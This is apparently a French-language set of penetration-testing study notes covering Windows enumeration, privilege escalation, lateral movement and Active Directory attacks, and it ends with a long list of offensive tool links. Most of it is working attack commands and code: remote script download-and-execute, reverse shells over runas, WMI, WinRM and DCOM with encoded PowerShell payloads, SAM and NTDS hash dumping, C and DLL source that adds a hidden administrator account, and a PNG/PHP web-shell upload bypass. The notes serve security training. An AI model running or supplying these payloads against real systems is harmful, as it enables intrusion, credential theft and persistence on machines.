`net user` : permet d'avoir plus d'informations sur un utilisateur, les groupes auquel il appartient etc... on peut utiliser l'option /domain afin d'interagir avec le domaine
`net group` : permet d'avoir plus d'informations sur les groupes on peut lister les membres du groupe en le précisant avec ""
`Get-LocalUser` : permet d'obtenir les utilisateurs locaux sur Windows
`Get-LocalGroup` : permet d'identifier les groupes du systèmes
`Get-LocalGroupMember` : permet d'identifier les groupes présents dans le système
`[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()` : permet d'afficher plus d'informations sur la classe du domaine
`Get-ComputerInfo` : obtenir les infos de la machine afin de vérifier si le mode Credential Guard est activé.
`Get-Process` : permet d'obtenir la liste des processus en cours d'execution
`Get-CimInstance -ClassName win32_service | Select Name,State,PathName` : permet d'afficher les processus avec leur chemin d'execution
`Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object $_.State -like 'Running'` : permet d'afficher les processus en cours de lancement avec leur chemin d'execution
`Get-NetTCPConnection -State Listen` : liste des ports ouverts localement une alternative à cette commande est : `netstat -ano | findstr LISTENING`
`(Get-Process -Name NonStandardProcess).path` : permet d'obtenir le chemin vers un processus
`runas /user:backupadmin cmd` : permet de lancer un programme avec un autre utilisateur, dans l'exemple "backupadmin" et le progamme "cmd". Ne peut etre lancé que sur une interface graphique, le programme n'est pas installé on peut le transférer, afin de lancer un reverse shell de la machine vers un autre utilisateur on peut lancer `runas.exe C.Bum Tikkycoll_431012284 -r 10.10.16.6:1234 cmd` pour obtenir le reverse shell sur netcat
`Get-History` : permet d'obtenir l'historique des commandes
`(Get-PSReadlineOption).HistorySavePath` : permet d'obtenir le chemin vers le fichier d'historique de commandes de PSReadline qui est un module plus récent
`iwr -uri http://192.168.45.195/met.exe -Outfile met.exe` : permet de télécharger un fichier placé sur une machine distante ici Winpeas.exe (équivalent de wget sous linux)
`powershell -c iex(new-object net.webclient).downloadstring('http://10.10.16.6:8000/Invoke-PowerShellTcp.ps1')` : permet de télécharger un fichier distant avec powershell
`net stop mysql` : permet de stopper un service (mysql dans l'exemple)
`Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object $_.Name -like 'mysql'` : permet d'obtenir le status de démarrage du processus mysql afin de savoir s'il redémarre automatiquement.
`whoami /priv` : permet de lister les privilèges de l'utilisateur actuel
`shutdown /r /t 0` : permet de redémarrer le système avec un délai de 0 secondes
`powershell -ep bypass` : permet d'autoriser l'execution de scripts
`powershell Start-Process powershell -Verb runAs` : permet d'ouvrir powershell en mode administrateur
`wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """` : permet d'afficher les services potentiellement vulnérables pour du hijacking
`Start-Service servicename` : permet de démarrer un service
`Stop-Service servicename` : permet de stopper un service
`icacls "C:\"` : permet d'énumérer les droits d'utilisateur sur un dossier ou fichier
`schtasks /query /fo LIST /v` : permet de lister les tâches en cours du système
`systeminfo` : permet d'obtenir des informations du système
`icacls` : permet de lister les permissions d'un fichier ou répertoire, il existe plusieurs permissions possible : F (Full Access), M (Modify), W (Write), R (Read), RX (Read & Execute)
`where ssh` : permet de localiser ssh
`Get-NtTokenIntegrityLevel` : permet d'afficher le niveau d'éxecution pour les UAC
`setspn -L iis_service` : permet d'afficher les SPN du système
`net accounts` : permet d'afficher la politique de compte

`iwr -UseDefaultCredentials http://web04` : permet de vérifier si l'utilisateur actuel à accès au service iis distant en utilisant ses identifiants
`klist` : permet de lister les tickets
`Get-ADObject -Identity ((Get-ADDomain).distinguishedname)-Properties ms-DS-MachineAccountQuota` : permet de vérifier les droits de l'utilisateur à créer des machines dans l'AD qui correspond à l'attribut "ms-DS-MachineAccountQuota" cela afin de possiblement pouvoir lancer une attaque Resource Based Constrained Delegation
`Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount` permet de vérifier les droits de délégation d'execution de commande pour une autre identité
`sc.exe Service_name` : permet de lancer un service avec le service controller

permet de télécharger le registre contenant les hash :

```
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
```

`samdump2 SYSTEM SAM` : permet de dumper les registres en affichant les hash du système Windows téléchargés à lancer sur la machine kali

Permet la découverte des applications installés et des processus en cours sur le système :

```
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"|
    select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*"| select
    displayname
Get-Process
```

Permet d'ajouter un utilisateur dave2 sur mySQL d'une machine cible :

```
#include <stdlib.h>

int main ()
{
  int i;

  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");

  return 0;
}
```

Permet de créer un utilisateur avec un DLL (Dynamic Link Library) :

```
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
            i = system ("net user dave3 password123! /add");
            i = system ("net localgroup administrators dave3 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}
```

Mouvement lateral

Pivoting avec WMI (Windows Management Instrumentation) ou WINRS

`wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"` : permet de tester le service et renvoie le processid de calc.exe

```
### Définition des variables
PS C:\Users\jeff> $username = 'jen';
PS C:\Users\jeff> $password = 'Nexus123!';
PS C:\Users\jeff> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
PS C:\Users\jeff> $credential = New-Object System.Management.Automation.PSCredential $username,
    $secureString;
PS C:\Users\jeff> $Options = New-CimSessionOption -Protocol DCOM
PS C:\Users\jeff> $Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -
    SessionOption $Options
PS C:\Users\jeff> $Command = 'powershell -nop -w hidden -e
    JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0
ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
    HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'; ### encodage base 64 du script
    python
### lancement et création du nouveau service, après cette commande le listener netcat devrait
    réceptionner le shell
PS C:\Users\jeff> Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName
    Create -Arguments @{CommandLine =$Command};
```

Pivoting avec WINRM

`winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"` : permet le test du service

```
### Excution du reverse shell
C:\Users\jeff>winrs -r:files04 -u:jen -p:Nexus123!  "powershell -nop -w hidden -e
    JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAG

sAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
    HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
```

Permet de créer une session distante mais d'interagir en local avec cette même session :

```
PS C:\Users\jeff> $username = 'jen';
PS C:\Users\jeff> $password = 'Nexus123!';
PS C:\Users\jeff> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
PS C:\Users\jeff> $credential = New-Object System.Management.Automation.PSCredential $username,
    $secureString;
PS C:\Users\jeff> New-PSSession -ComputerName 192.168.50.73 -Credential $credential
```

Pour interagir avec la session Winrm :

```
PS C:\Users\jeff> Enter-PSSession 1
[192.168.50.73]: PS C:\Users\jen\Documents> whoami
corp\jen

[192.168.50.73]: PS C:\Users\jen\Documents> hostname
FILES04
```

Pivoting avec PsExec

(peut aussi etre lancé avec runas si "access denied") :

```
./PsExec64.exe -i  \\FILES04 -u corp\jen -p Nexus123! cmd
```

Permet une connexion à une machine avec psexec

```
.\PsExec.exe \\files04 cmd
```

Pivoting avec DCOM

`$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))` : permet d'instancier une connexion avec le service de l'IP 73
`$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")` : permet de lancer le programme calc

`tasklist | findstr "calc"` : permet de vérifier que le programme calc.exe est bien lancé

`$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwBOACAAUwB5AHMAdABlAGOALgBOAGUAdAAuAFMAbwBjAGsAZQBOAHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5A...AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA","7")` : permet d'initier la connexion, le listener devrait recevoir une connexion après lancement de la commande

Shadow Copy

Technique permettant l'extraction des hash à partir d'un fichier .bak généré avec shadow copy
`vshadow.exe -nw -p C:` : permet de désactiver l'écriture pour accélérer le backup
`copy \\?\GLOBALROOT\textbackslash Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak` : permet la copie de la base de donnée ver le fichier ntds.dit.bak
`reg.exe save hklm\system c:\system.bak` : permet l'extraction des hash de ntdis au bon format
On exporte ensuite ce fichier puis on le lance avec impacket

Compilation

Permet de compiler un programme C en .exe : `x86_64-w64-mingw32-gcc adduser.c -o adduser.exe`

Permet de compiler un programme cpp en .dll : `x86_64-w64-mingw32-gcc TextShapping.cpp -o TextShapping.dll`

Méthodologies

Connexion vers SSH

1. créer le fichier `.ssh` avec `ssh-keygen`
2. Copier le contenu de `id_rsa.pub` de kali vers `~/.ssh/authorized_keys`
3. Se connecter en ssh

Escalade de privilèges Linux

- Lister les permissions et groupes de l'utilisateur (sudo -l, id)
- Afficher les processus en cours et ports ouverts (ps aux, ss, etc...)
- S'agit il d'un environnement Docker ? (.dockerenv dans le fichier /)
- Afficher les fichiers cachés (.git, etc...)
- Afficher l'environnement (env)
- Vérifier les binaires SUID et GUID
- Lancer un script d'enumération (linpeas, pspy)
- Afficher la version du système (uname -a)
- Vérifier les mails dans /var/mail
- Vérifier les Capabilities (getcap)
- Vérifier les Cronjob

Questions à se poser :

- Quelle est le type de distribution ? Pour quelle version ?
- Quelle est la version du Kernel ? s'agit il de 64 bit ?
- Quelles sont les variables système ?
- Y a t-il une imprimante ?
- Quelles sont les services lancés ? Quelles privilèges utilisateur pour quelles services ?
- Lequelles parmis les services sont lancés avec les droits root ?
- Quelles sont les applications installés ? Quelle est leur version ? Sont elles lancés ?

Transfert de fichiers

- Méthode 1
    1. Mis en place d'un serveur python
    2. Requête depuis la machine avec `curl` ou `iwr`
- Méthode 2
    1. Mis en place d'un port d'écoute netcat pour réception d'un fichier
    2. Transfert du fichier avec netcat
- Méthode 3
    1. Mis en place d'un serveur SMB `impacket-smbserver smb tools/ -smb2support`
    2. ajout du share depuis windows avec `net use net use \\192.168.45.162\smb`
    3. Transfert des fichiers avec `copy copy \\192.168.45.162\smb\PrintSpoofer64.exe`
- Méthode 4
    1. coder en Base64 le fichier avec `base64 -w0 filename`
    2. copier le résultat sur kali pour le décoder avec `echo "code64" | base64 -d -w0 > filename`

Contournement upload de fichiers

- Méthode 1 : Par exemple pour contourner l'upload d'une image : Création d'un fichier qui contient le MIME png `echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > mimi_reverse_shell.php.png` Puis ajout du shell sur le fichier `cat php-reverse-shell.php.png >> mimi_reverse_shell.php.png` On devrait ensuite pouvoir uploader le fichier

Rappels de choses à faire lors de l'énumération

- Vérifier tout le code source de tous les fichiers présent sur un site web
- Vérifier les groupes utilisateurs
- Vérifier les processus en cours d'exécution en local avec "ss" et exécutés avec un cron avec "pspy64"
- Lorsque le port SQL est ouvert cela ne signifie pas qu'il est accessible de l'externe il faut d'abord lancer un tunnel pour y accéder en local

— Les mots de passes peuvent être les meme que les identifiant, il faut donc tenter un bruteforce du mot de passe avec l'identifiant
— Sur SMB certaines fois les fichiers placés à l'intérieurs peuvent automatiquement s'executer
— Lors d'un dirbusting toujours vérifier s'il n'est pas possible de trouver des lien vers d'autre types de fichier en plus que ceux de base
— Lors du scan de SMB lancer aussi un scan des vulnérabilités spécifique à SMB pour trouver potentiellement une vulnérabilité sur le protocole en lui même
— Toujours lancer un scan UDP en complément du scan TCP si cela prend du temps lancer un scan UDP des ports les plus connus.

Resources

Passive Information Gathering
- Commande `whois`
- exiftool `https://exiftool.org/`
- Recherche DNS : `https://www.netcraft.com/`
- Shodan : `https://www.shodan.io/`
- Security Header : `https://securityheaders.com/`
- SSL Test : `https://www.ssllabs.com/ssltest/`
- Gitrob : `https://github.com/michenriksen/gitrob`
- GitLeaks : `https://github.com/gitleaks/gitleaks`
- Exploit Database : `https://www.exploit-db.com/`
- Opérateurs de recherche Google : `https://ahrefs.com/`
- Identifier l'utilité d'un port : `https://www.speedguide.net/ports.php`

Active Information Gathering
- `host`
- Seclists : `https://github.com/danielmiessler/SecLists`
- Wordlists : `https://gitlab.com/kalilinux/packages/wordlists`
- DNSRecon : `https://github.com/darkoperator/dnsrecon`
- DNSEnum : `https://github.com/SparrowOchon/dnsenum2`
- `nslookup`
- Wireshark : `https://www.wireshark.org/`
- `iptables`
- `Nmap` : `https://nmap.org/`
- `netcat`
- `Test-NetConnection` : Commande PowerShell qui est une version Windows de Nmap
- `nbtscan` : Identifier des informations NetBIOS
- `net view` : Identifier des services SMB sous Windows
- OneSixtyOne : `https://github.com/trailofbits/onesixtyone`
- humble : `https://www.kali.org/tools/humble/`
- Commande `snmpwalk`

Vulnerability Scanning
- National Vulnerability Database (NIST) : `https://nvd.nist.gov`
- Nessus : `https://www.tenable.com/downloads/nessus`
- Nmap Scripting Engine (NSE)
- Vulners : `https://vulners.com/`

Web Application Attacks
- OWASP Top 10 : `https://owasp.org/www-project-top-ten/`
- MITRE : `https://attack.mitre.org/`
- Wappalyzer : `https://www.wappalyzer.com/`
- Gobuster : `https://www.kali.org/tools/gobuster/`
- Burp Suite : `https://portswigger.net/burp`
- jscompress : `https://jscompress.com/`
- Reverse Shell : `https://swisskyrepo.github.io`
- Web Shell : `https://gitlab.com/kalilinux/packages/webshells`
- Internal All Things : `https://swisskyrepo.github.io/InternalAllTheThings/`
- Payloads All The Things : `https://swisskyrepo.github.io/PayloadsAllTheThings/`
- powercat : `https://github.com/besimorhino/powercat`
- impacket : `https://github.com/SecureAuthCorp/impacket`
- sqlmap : `http://sqlmap.org/`

Client Side Attack
- TheHarvester : https://github.com/laramies/theHarvester
- Canary Token : https://canarytokens.com/
- WhatIsMyBrowser : https://explore.whatismybrowser.com/useragents/parse/
- Grabify : https://grabify.link/
- fingerprintjs : https://github.com/fingerprintjs/fingerprintjs
- wsgidav : https://wsgidav.readthedocs.io/en/latest/index.html
- xdd : https://linux.die.net/man/1/xxd
- sha256sum : convertit un texte en SHA256
- VirusTotal : https://www.virustotal.com/#/home/upload
- Metasploit : https://www.metasploit.com/
- MsfVenom (Metasploit) : https://docs.metasploit.com/
- UPX : https://upx.github.io/
- Enigma Protector : https://www.enigmaprotector.com/en/home.html
- Antiscan.me : https://antiscan.me/
- Shellter : https://www.shellterproject.com
- Wine : https://www.winehq.org/
- Skaks : http://www.jetmore.org/john/code/swaks/

Password Attacks
- THC Hydra : https://github.com/vanhauser-thc/thc-hydra
- Fail2ban : https://www.fail2ban.org/wiki/index.php/Main_Page
- ScatteredSecrets : https://scatteredsecrets.com/
- Hashcat : https://hashcat.net/hashcat/
- hash-identifier : https://gitlab.com/kalilinux/packages/hash-identifier
- Hashid : https://www.kali.org/tools/hashid/
- JohnTheRipper : https://www.openwall.com/john/
- Mimikatz : https://github.com/gentilkiwi/mimikatz
- smbclient https://www.samba.org/samba/docs/current/man-html/smbclient.1.html
- CrackMapExec : https://github.com/byt3bl33d3r/CrackMapExec
- Responder : https://github.com/lgandx/Responder

Exploit
- RevShells.com : https://www.revshells.com/
- pyinstaller (packaging pour python) : https://www.pyinstaller.org
- mingw-w64 : compileur language C
- objdump (desassembleur) https://man7.org/linux/man-pages/man1/objdump.1.html
- PacketStormSecurity : https://packetstormsecurity.com
- GitHub : https://github.com/
- Canvas : http://immunityinc.com/products/canvas/index.html
- BeEF : http://beefproject.com

Privilege Escalation
- WinRM : https://github.com/Hackplayers/evil-winrm
- WinPEAS : https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
- SeatBELT : https://github.com/GhostPack/Seatbelt
- JAWS : https://github.com/411Hall/JAWS
- PrintSpoofer : https://github.com/itm4n/PrintSpoofer
- unix-privesc-check : http://pentestmonkey.net/tools/audit/unix-privesc-check
- LinEnum : tps://github.com/rebootuser/LinEnum
- LinPEAS : https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
- GTFObins : https://gtfobins.github.io

Port Redirection and SSH Tunneling

— CyberChef : https://gchq.github.io/CyberChef/
— socat : http://www.dest-unreach.org/socat/doc/socat.html
— rinetd : https://github.com/samhocevar/rinetd
— fifo : https://man7.org/linux/man-pages/man7/fifo.7.html
— Proxychains : https://github.com/rofl0r/proxychains-ng
— shuttle : https://github.com/sshuttle/sshuttle
— FreeRDP : https://www.freerdp.com/
— Plink : https://tartarus.org/~simon/putty-snapshots/htmldoc/Chapter7.html
— Netsh : https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh
— Chisel : https://github.com/jpillora/chisel
— dnscat2 : https://github.com/iagox86/dnscat2

Active Directory Enumeration

— PowerSploit : https://powersploit.readthedocs.io/en/latest/
— gpp-decrypt : https://www.kali.org/tools/gpp-decrypt/
— PingCastle : https://www.pingcastle.com/
— BloodHound : https://bloodhound.readthedocs.io/en/latest/
— SharpHound : https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html
— Neo4j : https://neo4j.com/

Active Directory Attack

— Spray-Passwords : https://github.com/ZilentJack/Spray-Passwords
— Kerbrute : https://github.com/ropnop/kerbrute
— Rubeus : https://github.com/GhostPack/Rubeus
— PassTheHash Toolkit : https://github.com/byt3bl33d3r/pth-toolkit